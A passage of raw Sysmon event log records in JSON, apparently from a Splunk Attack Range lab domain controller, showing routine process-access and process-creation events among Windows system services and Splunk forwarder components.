C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4102,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4103,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4104,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4105,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.047\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-40FD-5F2D-0000-001084CB0500}\r\nTargetProcessId: 2812\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.047","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-40FD-5F2D-0000-001084CB0500}","TargetProcessId":"2812","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4106,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.188\r\nSourceProcessGUID: {90617006-40FD-5F2D-0000-001084CB0500}\r\nSourceProcessId: 2812\r\nSourceThreadId: 2792\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.188","SourceProcessGUID":"{90617006-40FD-5F2D-0000-001084CB0500}","SourceProcessId":"2812","SourceThreadId":"2792","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4107,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.627\r\nProcessGuid: {90617006-40FD-5F2D-0000-001056CD0500}\r\nProcessId: 4420\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Network monitor\r\nProduct: Splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-netmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.627","ProcessGuid":"{90617006-40FD-5F2D-0000-001056CD0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","FileVersion":"8.0.2","Description":"Network monitor","Product":"Splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-netmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:54:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4108,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.626\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-40FD-5F2D-0000-001056CD0500}\r\nTargetProcessId: 4420\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.626","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-40FD-5F2D-0000-001056CD0500}","TargetProcessId":"4420","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4109,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.626\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-40FD-5F2D-0000-001056CD0500}\r\nTargetProcessId: 4420\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.626","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-40FD-5F2D-0000-001056CD0500}","TargetProcessId":"4420","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:54:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4110,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.626\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 